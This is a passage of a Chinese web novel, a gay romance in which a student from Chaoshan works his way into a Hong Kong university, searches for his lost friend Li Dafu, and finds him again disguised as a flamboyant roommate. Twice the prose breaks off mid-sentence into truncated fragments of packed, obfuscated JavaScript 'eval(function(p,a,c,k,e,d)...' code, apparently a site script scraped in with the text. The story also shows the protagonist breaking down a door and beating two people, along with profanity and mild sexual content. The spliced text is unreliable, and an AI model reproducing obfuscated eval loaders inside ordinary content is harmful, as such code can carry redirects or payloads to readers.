“别,”江扩皱了皱眉,“我会认真的,不用麻烦家长。” 他对叫家长已经有阴影。 “那就好,回去上课吧。”班主任说。 离开的时候,江扩在教室门口顿住了。想起什么又返回办公室,站到班主任面前。 “还有什么事?”班主任抬头瞥了江扩一眼。 “老师我想问一下,G大的录取条件是什么?”江扩问。 “每年都是不一样的,我们这个学校每年也就一两个上G大,有几年甚至没有的,”班主任又打量一下江扩,“你想考G大?” “嗯。”江扩点头。 班主任跟听见一个身无分文的乞儿自称自己要当亿万富翁似的,不轻不重呵了一声。 “你会考能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我跟他姐认识啊,他姐跟我聊过移民的事,”江收说,“黎大福他姐说因为移民的事黎大福跟他们吵了好多次呢,他想留在香港。” 江扩刹那间对黎大福的愧疚到达顶峰。 黎大福原本不想离开香港,可最后还是黯然离去。没有人知道他到底是被父母强迫,还是单纯被江扩弄得心灰意冷。 江扩此刻觉得自己真是耽眉仔(潮汕话:窝囊)。因为他爸大哥荣手中一把连子弹都没有的手枪和一时的口嗨,整整两年拒绝黎大福的各种明示暗示。 “我想去找他。”江扩困难地咽了一下唾液。 “可以啊,”江收晃了晃脚,“但是你没钱,我觉得你可以考完大学去申请美国留学,那样就有正当的理由去美国了。” “我没有那么多钱去留学。”江扩摇头。 “赚啊!”江收咧嘴笑了一下,“到时候我也赞助你,等我做了盘踞一方的女老大,赚来的钱咱俩五五分。” “打住,别犯病。”江扩忍俊不禁。 江收撇了撇嘴,拿出新一期的龙虎门认真看了起来。江扩也埋头继续温书。 “哥,你是不是喜欢黎大福?”江收问。 “嗯。”说罢江扩感慨自己两年来第一次肯说实话。 “哈哈,我就知道。”江收意味深长笑了一声。 “为什么要告诉我这些?”江扩淡淡问道。 “因为我觉得你俩好磕,诶简直是天生一对,”江收回答,“你们这两个分开就可惜了,所以我得拉一把啊。” “什么好磕?”江扩皱眉。 “没事,反正你不懂。”江收耸了耸肩。 被江收这么一开导,江扩的心也明亮许多。要和黎大福重逢,好像也不是没有办法。 只是没有黎大福的日子过得太孤独了,也不知道这种孤独要忍多久。 23. 第 23 章 江扩依旧不太习惯没有黎大福的日子。放学时出了校门还是会四处张望,心里渴望能有个奇迹出现。 他还是发梦有一天能在校门口遇上黎大福。和往常一样邋邋遢遢,头发乱成鸡窝,一双明眸像极老家夜晚时观望到的星空,嘴里软糯糯喊出那声“大哥”。 明明是黎大福自己说一直都会陪他回家的,可现在他却扔下自己走了。 这天他出校门,还是和之前一样四处看了一遍。还是没有黎大福的身影,倒是在街头看见中二病正倚着栏杆上抽烟。 江收抽完一根烟,抬头正好见江扩从门口出来。 “哥!”江收兴奋挥手。 “啧。”江扩很快骑上自行车。 “哥你等等。”江收骑上自行车赶过来。 “不要跟着我。”江扩皱眉。 江扩原本习惯性想吐出个“滚”字,但想到上次江收帮他出主意去找黎大福后,想了想还是换了个委婉的说法。 “哥我觉得你现在真是太孤独了,”江收跟在后面说,“这样吧,以后让我给你补习,争取早日能去找黎大福。” “我又不是你亲哥,对我这么好干什么。”江扩冷冷道。 “谁说不是亲哥,咱爸不是同一个人吗?”江收啧了一声,“而且我江收作为这附近让小混混闻风丧胆的女老大,一向很讲义气。” “别,别发病。”江扩被逗笑了。 “更主要的是,你俩真的好磕,这样就分手了实在可惜,”江收说,“所以我要帮手让你俩早日团聚,我就能继续磕了。” “我没跟他在一起过。”江扩叹了口气。 江扩对于这个母亲当小三抢走他爸的继妹还是有些抗拒,一路上一直处于被动聊天。 “我老早就看出来你俩都不是直的。”江收仰起头一脸自豪。 “这么神?”江扩笑了一声,“你不会也是吧?” “我可不是,”江收说,“你别看我浑身上下跟个铁t一样,其实我笔直。” “真的?”江扩问。 “真的,不然我之前怎么会喜欢黎大福呢,他不男的嘛。”江收回答。 “现在还喜欢吗?”江扩心里翻了醋坛子。 “不喜欢了,”江收拼命踩着脚板上前跟江扩并排,“我是个尊老爱幼的好公民,我哥喜欢黎大福我肯定得让给他。” 江扩忍不住笑了一声,这是他第一次觉得江收这人还挺有趣的。 回了家,江收开始给江扩第一节补习,这一上就上了两个小时。 “我算是知道你成绩怎么进步这么大了,”江收汗颜,“我第一次见你这种吸收知识跟吸人精气一样快的人。” “你这什么狗屁比喻。”江扩乐了。 晚上江扩破天荒到饭厅跟几人吃了顿晚饭。虽然黑魔仙还在旁边阴阳怪气,江扩还是笑眯眯把饭吃完回房学习。 黎大福已经消失很久。 不知不觉熬到过年。年夜饭刚一吃完,江收便拉着江扩一起去维港看烟花。 “人好多啊。”江扩皱眉。 “必须多啊,维港过年放烟花,连外地人都抢着来看。”江收举起相机对着烟花一顿咔嚓咔嚓。 “哥,快对着烟花许愿,很灵的。”江收兴奋道。 由于叛逆心理作祟,江扩本不想听江收的话。可脑里又浮现黎大福的音容笑貌。 良久,双手合十,心中默念。闭着眼仿佛一个虔诚的信徒。 “希望能快点找到黎大福。”江扩勾起嘴角默念。 “黎大福,我喜欢你。”江扩心中又道。 “倒计时!”人群其中一个扯着大嗓门欢呼。 “十!九!八!七......” 江扩旁边的一个外国人也用他的母语跟着喊起来。 “dix !neuf !huit!sept!six......” 数到零时,众人齐声欢呼。整个维港的人兴高采烈,包括游轮上的游客。 这两年的春节,江扩都是和黎大福一起来维港看烟花。如今黎大福离开已有半年,江扩还是有些不习惯。 “哥,我猜你在想黎大福。”江收笑嘻嘻凑过来。 “哼。”江扩很傲娇地哼了一声。 “相信我吧,你们很快能再见面的。”江收说。 “借你吉言。”江扩嘴角微翘。 即便寒假,江扩也没有休息。早上和晚上学习,下午去学校排球场训练,为下学期的排球比赛做准备。 生活真是多姿多彩。 三个月后,江扩所在的男排队跟着排球教练去黎大福上过的贵族学校比赛。 轮到江扩一队上场,江扩一眼就认出观众席上戴着顶黑太阳帽黑体恤黑短裤,兴奋得像只猴子的江收。 江收最近的头发真是越来越短了,江扩时常在想说不定有一天这中二病会剃个寸头回来。 “哥!加油!”江收把手比成喇叭形状举在嘴前大声喊道,“打死他们!” “痴线啊,你给外校的加油?”旁边的朋友白了江收一眼。 江扩无奈瞥了江收一眼,蹲下系好鞋带入场。 没想到第一回合便出了意外,江扩右手小臂的血管被排球撞破,整个小臂一大片红肿淤青。 “还能上吗?”教练问。 “能。”江扩咬着牙忍痛回答道。 “哥,用护袖!”江收扒下一边护袖,远远扔到江扩旁边的地上。 江扩捡起护袖,戴到受伤的那只手臂。 第二回合,江扩带伤和队员合作,又赢了一局。 最后江扩所在的男排队拿得亚军的成绩。颁奖时,一队人接过鲜花,镜头对准他们便是一顿拍。 江扩对着镜头僵硬地微笑一下,转头去看座无虚席的观众席。 江收在座位上兴奋得像只马骝,逢人便揪住衣袖大声宣传那最前面拿花儿的队员是她哥。 江扩哑然失笑。 如果黎大福在的话,估计这会也是坐在观众席某个位置,笑吟吟为他鼓掌喝彩吧。 期末考成绩下来,江扩考了全班第五名,成绩良好。但江扩依旧感到危机满满。 成绩下来后,江扩带上试卷去了趟办公室。 “老师,我这成绩,离G大还有多远?”江扩问。 “会考应该是没问题的了,但是你这成绩距离G大还很远,”班主任对着江扩摇头,“你先别把目标放太远了,想想怎么突破提高成绩再来吧,最近你的成绩一直卡在这个阶段,得找找方法突破这个瓶颈期啊。” 班主任说罢低头便看见江扩小臂上吓死人的淤青,皱了皱眉。 “怎么来的?打架?”班主任一脸警惕问。 “不是,”江扩看了眼淤青,“排球比赛碰的。” “感觉你太拼了,”班主任无奈,“不要太累,也不是非要考G大才有出路。” “谢谢老师。”江扩道完谢出了办公室。 班主任说的也没错。 但他必须考。 G大是曾经黎大福和他的共同梦想。而现在黎大福走了,只有他江扩考上更好的大学,才更有机会找到黎大福,亲口说出他那句“我也喜欢你”。 至关重要的中五终于到来。 江扩终于彻底投入到会考备考中,就连周六周日的放松时间都用在补习班疯狂学习。 然而一模的成绩并不是很理想,只有两科是A,其余全是B和C。 一模成绩下来,放学后江扩在门口看到等着自己的江收。 “哥!”江收冲江扩兴奋挥手。 江扩徐徐往那中二病的方向走过去。 “怎么样?”江扩问。 “还行,第一,”江收说,“要是黎大福在班里,这第一铁定轮不到我。” “你呢?”江收说罢,又问江扩。 “不太理想。”江扩摇头。 “没事儿,到时候我一把枪指在G大校......”江收比起一只手,装成一把手枪笑嘻嘻正要犯病。 “打住,”江扩伸出尔康手,“别给我犯病。” “草。”江收放下手枪骂了一句。 回到江广荣老巢楼下,江扩凝视楼梯口前面的那道栏杆。脑里浮现一个暖乎乎的片段。 黎大福跟家里人吵架,骑着自行车过来找他;黎大福被栏杆绊倒,一头扑在江扩身上;黎大福的热泪,黎大福无意的剐蹭,互相安慰的话语。 以及自己身上的异样反应。 不知不觉这已经是三年前的事了。 也不知道自己到底什么时候能与黎大福重遇,也可能这辈子不会再相见。 脑里闪过这个消极想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虽然他已经尽力想还原黎大福的样子,碍于自己没有美术细胞,整个人身体画的歪七扭八,五官七孔生做一捧(潮汕俚语:五官挤在一起,形容极为丑陋)。 轮到江扩时,江扩不慌不忙站了起来。 “考上G大,然后去找自己喜欢的人。” 后座几个混混先后发出几声刺耳的讥笑。 “不错,坐下。”班主任点头。 一整班的同学回答完,老师趁最后的时间发表讲话。 “同学们有梦想,有喜欢的人,我是支持的,”班主任无意瞥了江扩一眼,“但是我们也要弄清楚自己的能力大小,不要给自己设立太高的目标,否则只会徒添压力。” 全班有几人的目光转身朝江扩投来。 江扩捕捉到这些异样的目光,轻轻叹了口气。 接下来的时间江扩更加用心,晚上学习有了油柑的陪伴便没再那么烦躁,折笔的次数也比以前少了。 激动人心的会考来临。 放榜后,江扩五科A,其余都是B。顺利进入中六,也就是大学预科。 所有人依旧劝江扩不要太拼,包括江收和大哥荣。江扩当耳边风。 如果黎大福在身边,劝他放下功课好好休息一下,他也许会听黎大福的话扑去床上睡一次大懒觉。 中六。 中七...... 大学考试如期到来,江扩捂着颤抖的双手佯装镇定进了考场,第一科的试卷发下来才冷静下来。 题型熟悉,知识点清晰,都是自己日日夜夜没命学习赚来的。 出了考场,江扩感觉整个人都要瘫了。也是时候好好休息几天了。 也只能休息几天,放榜后他还要备考托福英语,争取早日去美国留学然后找到黎大福,亲口说出那句话。 真是充实啊。 放榜那天,江扩在学校的大学考试放榜公告栏上,对着第一名上面自己的成绩喉咙哽咽,不能自已。 他是那一届全校唯一一个考上G大的学生。取得3A1B的高分,香港本区状元,选入G大文学院中文系。 所有人都不看好这个从潮汕乡下来的大陆仔,而他偏要做最争气的那个。 24. 第 24 章 江收考的也是G大,选的法学系。 而江扩选择双学位,文学和音乐。 之所以要选音乐,是因为刚进大一就接触歌词创作,挺感兴趣。再者也想学点跟艺术有关的提升自己。 三年过去,在G大读大三的江扩,已经为当时香港的很多歌手写过上百首歌词。不管是红极一时的歌手还是籍籍无名的,江扩都接。主要还是想赚多点钱,为出国留学做点经济上的准备。 江扩在G大附近找了个出租屋,和香港多数租屋一样,特点都是极窄,条件比江广荣的破老巢还差。 不过能少跟江广荣这个黑流氓见面,对江扩来说也是赚到了。 不知不觉跟黎大福分开有七年。 今年江扩廿四岁。 托福首考后,刚出考场江扩便接到江广荣的一通电话,说是要跟江扩吃顿晚餐。 三十分钟后,江扩拖着不情愿的身子到中环歌赋街的九记牛腩,江广荣叼着根烟正杵在门口等着。 九记牛腩的生意一向不错,这会门口一堆人排队。 “爸。”江扩一脸不情愿喊道。 “抽根烟。”江广荣从烟盒里掏出一根烟。 “不抽。”江扩哼了一声。 “为什么?”江广荣说,“你不是抽吗?” “谁知道你买烟的破黑钱哪儿赚来的。”江扩冷笑。 “你说话还是跟之前一样欠揍。”江广荣露出两排满是烟渍的烟渍笑了一声。 “彼此。”江扩怼道。 “叫我来干什么?”江扩摸出自己的烟点燃。 “进去说。”江广荣朝九记牛腩抬了抬下巴。 江扩跟在江广荣后面进了牛腩店,正好暴躁老板现在刚赶跑一桌客人。 “快说,我吃完要回去学习。”江扩看了一眼手机锁屏的时间。 “有个朋友女儿条件不错,你明天有空去见个面。”江广荣直说。 “不去。”江扩也直说。 “为什么?”江广荣皱眉。 “我喜欢男人。”江扩淡淡回答道。 江广荣瞪大双眼。 “变态啊?”江广荣良久憋出一句话。 “没你变态,”江扩又回怼,“我只是单纯喜欢男人,而你喜欢赚黑钱和要人命,你说谁更变态?” 江广荣无言以对。 “唔该,这份打包带走。”江扩转身对老板说。 老板黑着脸过来帮忙打包,江扩提着一份牛腩面就要离开。 “忘了跟你说件事,”江扩走到门口又回头看着江广荣,“以后你如果敢伤害我将来的男朋友半分,我可能会变成自己的杀父仇人。” “这是你的自由,我不会管。”江广荣嗤了一声。 回家路上,江扩叹了口气。如果早在六七年前黎大福还在的时候他就严词警告江广荣,也不至于会把黎大福弄丢。 走到出租屋楼下,江扩敏锐的第六感告诉自己,他好像被哪个贼跟踪了。 往前又走了几步,江扩猛地转头。 没人。 真是奇了怪了,每次跟江广荣见完面,自己都会疑神疑鬼很长一段时间。 “屌。”江扩骂了一声,进了电梯口。 几天后终于出成绩,江扩托福首考取得高分113,已经满足想申请的美国某所知名高校的要求。搭地铁回家。 地铁上依旧是人群拥挤。 听说香港不久前人口已经突破7291300人,要在这些人中找到自己的真爱,该有多难。 美国的人口总数应该也挺多,要在这些人中找到黎大福,大概也很难吧。或许一辈子找不到。 脑里浮现这个消极的想法时,江扩又和往常一样将它及时掐灭。 江扩觉得到目前他已经算是很成功。从一个潮汕的乡巴佬大陆仔变成G大的高材生,从只会磕磕巴巴读英文字母表到托福113高分,这些都是他努力得来的。 但他也极其失败,失败到会丢失自己喜欢的那个人,而且快六七年过去那个人还杳无音信。 出了地铁站,江扩兜里的手机响了。掏出来按了接听键。 “喂,小江啊,”包租婆那边麻将声乱七八糟,“你现在在哪里?” “刚准备回去。”江扩点了根烟,回答道。 “你那屋子不是还有间空着的卧室,我给你找到一个室友,”包租婆大声说,“现在估计上去了,就这样,拜拜。” 江扩马上沉下一张脸。 “不是说我不要室友吗?”江扩啧了一声,“我过几天搬走。” “别着急搬走嘛,有个室友多好,多个人陪着,”包租婆说,“我看你成天也一个人独来独往,是得交几个朋友,好好相处,挂了。” 包租婆匆匆挂断电话,剩江扩一人在街上愣着。 “扑领母。”江扩用许久没用的潮汕话骂了一声。 当时都已经跟包租婆说好不需要室友,也不知道这个扑街的陌生新室友是怎么买通包租婆的。 算了,反正自己都要去美国读硕了。 到了公寓楼下,江扩抬头就看见出租屋的灯是亮着的,窗口好像有个人影儿。 突然来了个不知底细不知性别的新室友,江扩一时间有些局促不安。 在楼下抽了根烟后,才拖着不情愿的身子搭电梯上了楼。 楼道有些昏暗,江扩摸出钥匙试了好几次才把门拉开。 客厅充斥着电吹风机的刺耳轰鸣声,新室友背对着江扩,发丝随着强风群魔乱舞。从背影来看应该是个男的。 新室友这会在一边吹头发一边唱歌,旁边手机在放张国荣的《无心睡眠》,身体随音乐搔首弄姿,右边的耳环跟着晃来晃去。 “喔喔喔喔无心睡眠,喔喔喔喔脑交战~踏着脚在怀念昨天的你,夜是渗着前事全挥不去,若是你在明日能得一见,就让我在怀内重得温暖......” 新室友目测一米八多一点,身材看起来还不错,应该没少去健身房。留着狼尾卷发,身上套着件无袖流苏牛仔衣,双脚的中筒白袜还没脱下,风格精致又gay里gay气。 这人浑身上下的气质似乎都在告诉全世界“老子是gay”。 但江扩此刻gay达丝毫没有响,反而对着新室友的背影皱了皱眉。 电视打开,放着江扩不感兴趣的足球赛;茶几上放着一箱可乐,其中一罐打开喝了一半放在箱旁,电视遥控旁是一包白万宝路,上面压着个精致的复古煤油打火机。 “包租婆你个扑街。”江扩咬着牙砸上门进了房间。 这 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“我可没这种癖好,虽然说我是喜欢男人,”满脸乌漆麻黑的室友又露齿一笑,“我今晚不回来,你自己留在家吧。” “我可不当看门狗,”江扩皱眉,“你去哪关我什么事?” 黑人没有生气,笑嘻嘻揭下脸上早已结块的黑面膜。 当那张白嫩又熟悉的脸和无辜又清澈的双眸彻底暴露在江扩面前时,江扩脑里仿佛劈了道雷,只感觉自己浑身的汗毛都炸起来了。 他甚至怀疑是自己最近太拼,精神不正常出现严重幻觉。 “大福。”江扩下意识脱口而出。 “啊?”新室友低头看了一眼脖子上的白金项链,“我这不是周大福的啊,我也忘了在哪买的。” 江扩还是愣着。 “忘了自我介绍,”新室友说,“我叫黎念,黎明的黎,念旧的念。” “哦。”江扩还是不敢相信面前gay里gay气的花花公子是黎大福,或许根本就不是。 我草我草,怎么会有长得几乎一模一样的人啊?! “忘了说件事,”黎念把白万宝路踹进兜里,“我过两天可能要带男朋友来这里住一晚,你一个直男不会介意吧?都这种年代了。” “不介意,”江扩僵硬地转过身,“你去边度?” “gay吧。”黎念锁上门。 在门口捂着胸口喘了几下后,黎念气急败坏捶了一下门离开了。 江扩脑里乱成一团糟,不知道自己最后是怎么走进房间的。 这人明明跟黎大福长得差不多,就连姓氏都一样,却浑身上下没有一点黎大福的影子。而且这人左边颧骨有一条一两厘米的缝痕,脖子上也有一小点烫伤的疤痕。 而且这人好像完全不认识他江扩。如果是黎大福,他根本不可能傻到连陪了三四年的大哥都忘了。 但是这个世界上怎么可能有长得一模一样的人啊?! 总之江扩不敢问,也完全不知道怎么开口问,只能再观察几天。 纯情可爱的小弟失踪七年,回归后竟成了gay里gay气的花花公子。这叫他江扩怎么接受?! 25. 第 25 章 这个扑街说到做到,隔天就从gay吧领了个男人进出租屋。 “我男朋友,Danny,”黎念把那个一脸不屑的男人带到刚洗完澡出来的江扩面前,“这个是我新室友,名字好像叫江扩。” “身材不错啊。”那个男人打量一下江扩。 “关你咩事。”江扩板着脸回了自己房间。 他真是越来越怀疑外面那个扑街真的只是相貌和黎大福有几分相似,或者是太想念人家看谁都像黎大福。 外面电视的足球赛还在放,这时两人正依偎在一起看电视。 江扩最近刚好接到跟一个名气不小的歌手合作的歌词。在窗前抽了根烟后,才捡起口琴照旋律填词。 深夜,外面两个冚家铲依旧在吵闹,丝毫不理睬房间里那个人的死活。 “中!中!中!”其中一个冚家铲吼道。 “冚家铲!”另一个冚家铲骂了一声。 “欧耶!”又是其中一个欢呼,从可乐箱里摸出一瓶全新的可乐,“呲”一声打开。 “再吵把你们都扔出去!”江扩终于忍不住砸了一下房间的门。 外面的疯狂只是暂停了短短几秒,又开始放声喧闹。 “屌!”江扩骂骂咧咧回到床上。 半夜一点多,出边的电视声音终于停止,估计那两个冚家铲是关电视准备睡觉了。 江扩松了口气,躺回到床上闭眼。 十分钟后,隔壁房间传来奇怪的声音。 像是两个人的低喘,听得江扩起了浑身鸡皮疙瘩。 只要想象到那个男人跟黎念在隔壁做那种令人难以启齿的事情,江扩心里就一阵恶心和酸楚。他甚至已经产生了把那个陌生男人赶跑的冲动。 但他找不到理由把别人的男朋友赶走。 隔天清晨,江扩半死不活从床上爬起来,推开门出了客厅。一下又跟沙发上对着笔记本电脑疯狂码字的黎念对视上。 “哇,国宝大熊猫啊。”黎念嬉皮笑脸用港式白话嘲讽道。 “下次做|爱,唔该请你同你男朋友小声点。”江扩不耐烦叹息一声,进了厕所。 黎念码字的手戛然停止,对着江扩的背影脸色一点一点阴沉。 又在江扩突然回头看他的时候恢复正常。 “我要退租了。”江扩说。 “哦?为什么啊?”黎念故作镇静问道。 “去美国,找人。”江扩说罢,偷偷观察一下黎念的表现。 “找谁?”黎念心里有点小雀跃。 “关你咩事?”江扩没好气地道。 “OK。”黎念耸了一下肩,继续沉浸在码字中。 下午在G大上音乐理论,江扩全程严重走神。拿起手机看消息。 whatsapp有个新的好友申请,头像是张国荣的艺术相片,名字是“忧郁奔向冷的天”。 江扩一下就猜出是黎念,从鼻里喷出一声不耐烦的叹息。最后还是通过了好友申请。 晚上江扩回了公寓,在门口恰好听见屋里的吵架声。 江扩叹了口气,倚在门边等里面两人结束争吵。 十五分钟过去,里面两个人的骂声成了一个人。黎念没再说话,直接无视男朋友的各种辱骂,拿起电脑认真码字。 江扩等的不耐烦了,拿起手机点开黎念的聊天框。 ——江扩:怎么回事? ——忧郁奔向冷的天:你系门口? 江扩正要回复,旁边的门打开了,气势汹汹出来一个人。是黎念的男朋友。 “冚家铲,怕痛当什么零呢。”那男人回头瞪了客厅的黎念一眼,骂骂咧咧离开了。 江扩进客厅的时候,黎念正好靠在旧沙发靠背上,膝盖放着一台笔记本,双手在键盘上飞速码字。 “你在干什么?”江扩有点难以置信,一个刚跟男朋友吵完架的人还有心思工作。 “写小说。”黎念头也不抬。 “分手了?”江扩问。 “分了。”黎念面不改色。 “你很擅长把男朋友气走吗?”江扩揶揄道。 “彼此。”黎念悠悠道。 江扩短时间搞不懂黎念说的彼此是什么意思,黎念又开口了。 “拍拖(谈恋爱)不就是这样吗?合适就在一起,不合适就滚蛋。”黎念冲江扩笑了一下。 江扩凝视黎念的笑脸,思绪回到十年前。 那时的黎大福也是对自己这样笑。穿着邋邋遢遢的衣服,头发乱成鸡窝,笑容可爱又无辜。 如果现在面前这个人真是黎大福,那江扩几乎能怀疑黎大福跟仙侠小说里的人一样被夺舍了。 “你从哪里来?”江扩试问。 “我一直在香港,香港本地人。”黎念回答。 “你父母呢?有兄弟姊妹吗?”江扩又问。 “都没有,”黎念说,“我是孤儿。你问这个干什么?” 江扩杵那儿沉默片刻,良久才皱着眉回房间。 到底是这人长得太像黎大福,还是自己压力太大精神出了问题? 一整天江扩头痛欲裂,脑里全是曾经黎大福的模样。 在床上躺了一下午,江扩发觉自己可能得看心理医生了。 晚上黎念依旧换上一身gay里gay气的服装,揣着一包白万宝路吹口哨出了门。 那模样像是在告诉世人“老子是gay吧里最靓的仔”。 出门前还专门跳到江扩面前报备自己不回来过夜。 江扩盯着黎念的背影,太阳穴又开始隐隐作痛。下一秒直接摸出手机在网上挂了附近精神科医院的号。 “屌!”江扩挂完号,熄了屏对着门口骂道。 隔天江扩请了一上午的假,赶到附近那家医院取号看病。 终于轮到号,江扩捂着胸口进了诊室。 “你胸口不舒服吗?”医生扶了一下眼镜。 “不,我浑身都不舒服,我觉得我精神有问题。”江扩痛苦地喘了几下。 “为什么会觉得你自己精神有问题呢?”医生又问。 “我好像有幻觉幻听。”江扩抬头一脸哭相看着医生。 “能具体说说最近的情况吗?”医生问。 江扩把最近的怪事以及以前和黎大福的感情纠葛一五一十告诉医生。 “你最近太累了,需要休息,”医生扶了一下眼镜,“放心你没有 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但江扩并不是被江收的长头发吓到,而是他发现江收的五官扭曲成了黎大福的样子。几个路人走过,脸上无一不长着黎大福的脸。 “完了,我真的幻觉了,”江扩捂着胸口喘了几下,“你有认识的咨询师吗?唔该帮我找一个。” “我有朋友读心理学的,我帮你找。”江收颤抖着手掏出手机,在好友列表里找到读心理学朋友的联系方式。 下午江收请了假,带江扩去朋友介绍的心理咨询师那。江扩跟咨询师聊了一个钟,出来时重重叹了口气。 “没多大问题,就是太累了,”江扩说,“我请几天假,回去休息一下吧。” “成。”江收回答。 “我去外边找个酒店住几天,”江扩说,“回去要看到那个室友真的难受,还失眠,我不想回去。” 江收沉默住了。 “那个人是有多像黎大福啊。”路上,江收感叹。 “太像了,但是浑身上下又没有黎大福的影子,就是个天天混迹gay吧的小骚受,”江扩咬着牙说,“总是带男朋友回家过夜,我真草了,我踏马真的受够他了。” “哥你有没有想过,他真的是黎大福呢,”江扩犹豫一下,“只是过去太久,是个人都会变的;一个人一年内都能有很大变化,更何况十年。” 江扩顿住了。 “但他不认识我,而且是个孤儿。”江扩道。 “谁说的?”江收问。 “他自己。”江扩回答。 “哦?”江收意味深长笑了一下,“如果他是骗你的呢?” 江扩又顿住了。 好像也是。 不管怎样,今晚得去再确认一下这个扑街新室友到底是不是黎大福。 自己本来就准备去美国找黎大福。现在莫名奇妙来了个身份存疑,几乎和黎大福一个模子刻出来的新室友,江扩突然又迷茫了,不知道自己还该不该去美国。 回到家,黎念又带了个新男朋友在客厅跳交谊舞,还转头对门口的江扩得意一笑。 去他妈的新室友! 26. 第 26 章 “新男朋友,Dave,”黎念搂住新男朋友的腰,“今晚在这过夜,你一个直男应该不介意吧。” 江扩被这个长得像黎大福的扑街彻底激怒。 “你们两个冚家铲今晚敢吵我,我就报警告你们扰民。”江扩骂完,砸门进了房间。 抽完一根烟,江扩才坐到书桌前填词。 这几天被外面那个扑街折腾得身心俱疲,写到九点多江扩便写不下去了。干脆甩了拖鞋到床上躺着,没多久就睡了过去。 十一点多,黎念无视江扩晚上的警告,又跟新男朋友放歌跳交谊舞。 江扩睡了几个钟,刚做了几个乱七八糟的噩梦又被外面的噪音吵醒。头愈发疼痛。 今晚貌似没有足球赛这一项目,两人跳完舞便洗漱睡觉。 江扩捂着额头从床上爬起来,对着白墙发愣。 十几分钟后,隔壁又传来几声沉重的低喘,并且朝着更急促更大声的趋势发展。 江扩忍了又忍,终于在对面一声叫骂后彻底发飙。 “冚家铲!”江扩放下捂着耳朵的双手,气势汹汹开了门冲出去。 此刻隔壁两个冚家铲还没有意识到惹怒江扩的严重性。 “开门!”江扩往隔壁的门抡拳头,“开门!滚出来!” 里面的声音戛然而止。 “滚出来!”江扩又攥紧拳头抡了几拳,“要么自己滚出来,要么我把门砸掉把你们揪出来!” “滚出来!”江扩吼道。 里面两个冚家铲根本不相信江扩会把门砸掉,纷纷跳到床上盖上被子假装睡觉。 江扩见门半晌还是没有打开,猛地转身回到房间,拿起书桌配套的实木椅。 结实的撞门声终于吓坏隔壁俩人,不禁缩到床头瑟瑟发抖。 “我怕。”黎念委屈地吸了吸鼻子。 “怕什么?他能把我们打死吗?”旁边的Dave白了黎念一眼,“叫你回床上弄你不要,偏要靠那面墙,他听不到才怪。” 黎念自知理亏,不说话了。 良久整张扇终于被江扩砸踏。江扩踩着破门怒气冲冲进了房间。 “爬起来!”江扩扔下砸得稀巴烂的实木椅,冲床上俩人吼道。 两人听话地从床上坐起,跂着拖鞋走到江扩面前。 “刚刚你俩怎么做的,现在做给我看,快点。”江扩瞪了黎念一眼。 两人面面相觑。 “我,我俩就,这样,这样,然后就,这样。”Dave声音毫无底气,轻轻碰了一下黎念的裤衩儿。 黎念往后缩了一步,瞪大眼睛用口型骂道,“你个扑街还真做?” 见这男人对黎念行为如此轻佻,不管这个黎念到底是不是黎大福本人,江扩都忍不了。 江扩伸手,一把猛地捏住Dave的手腕。 “你再碰一下试试。”江扩噌噌冒火。 “是你叫我做给你看的。”Dave梗着脖子狡辩。 没等这个扑街狡辩完,江扩一拳抡到Dave右脸。Dave惯性往后退了几步,被这措手不及的拳头砸得一脸懵。 “我|草,你踏马还真打?”黎念情急之下蹦出一句东北大碴子话。 而此刻江扩丝毫没有注意到黎念露馅,扑上去跟Dave扭打在一起。 “你个冚家铲再打我叫差人(警察)了!”Dave疼得呲牙咧嘴,一边抽出挨打的间隙求救。 在江扩怒火的支持下,Dave没多久就鼻青脸肿,蹲在角落紧紧护住头部防止被打成脑残。 “走不走?!”江扩一脚踹在Dave肚皮上。 “走。”Dave一手捂着腹部,一手扶墙站了起来。 “滚!”江扩吼道。 这个黎念连中文名都不认识的新男朋友,终于捡起衣物忙不迭地滚了。 黎念目送新男朋友逃出家门,心想还好还好大哥没准备打自己。 刚松一口气,就看见江扩的拳头风驰电掣朝自己脸上袭来。右脸重重挨了一下。 “以后你敢带什么不三不四的男人来我出租屋,我见一个打一个。”江扩甩了甩揍人的那只手。 黎念趴在床边,头埋进被褥里一动不动,似乎在憋大招。 良久,被子里突然传来啜泣声。 江扩怔住了。 “江扩我|操|你|妈|的,老子大老远从美国跑回来找你,为了你还被我爸妈赶出家门,老子为了你还把名字改了!”黎念抬头,满脸横七竖八的泪痕,从鼻孔里窜出一个大鼻涕泡,“你居然假装不认识我?你踏马居然还打我?!” 江扩动了动嘴唇,不知道自己究竟应该难过还是高兴。 “你真是大福?”江扩终于憋出一句话,“你怎么变成这样了?” “老子现在叫黎念,不叫黎大福!”黎念哭哭唧唧,一边抬手擦干净嘴角被江扩打出来的鲜血,“那破名儿谁要用呢?!为什么要装不认识我?!” “到底是谁先装不认识谁的?啊?!”江扩好不容易压下的火又一股脑窜了上来。 “江扩我去你|妈|的,你是老子从小到大见过最怂最傻|逼的人。”黎念抹了抹眼泪,“以前傻|逼,现在也傻|逼。” “你再讲一遍试试?”江扩还没分清自己是难过还是高兴,又被黎念一顿粗口骂懵了。 “我说你踏马就是个傻|逼,怂货。”黎念心想既然要挨揍,不如一下子骂个痛快。 江扩扑上去揪住黎念的睡衣领口,一拳挥了过去,又即将碰到黎念那张小白脸时候定住。 “大哥。”黎念好久没这么近距离看江扩的脸,无意间软糯糯喊了一声。 “为什么骗我?”江扩还是揪着衣领不放。 “我就是想给你个惊喜。”黎念回答。 “惊喜个屁!”江扩气到全身颤抖,“你知道我跑去看精神科医生了吗?” “能不能先放开我?”黎念垂眸看了衣领一眼。 “不行,我还是要打你。”江扩假装挥起拳头。 “大哥......”黎念干起老本行,撒娇。 “你叫爸爸也没用!”江扩没好气地吼道。 黎念突然朝江扩身上扑过去,江扩顺势往后面的白墙一靠,一时还弄不清楚黎念要干什么。 直到黎念用一只手按着他的后脑勺,把嘴堵了上去。一只手开始耍流氓。 “大哥,这样有用吗?”黎念不忘在呼吸逐渐急促的江扩耳旁吹气,软糯糯问道,“还要打我吗?” 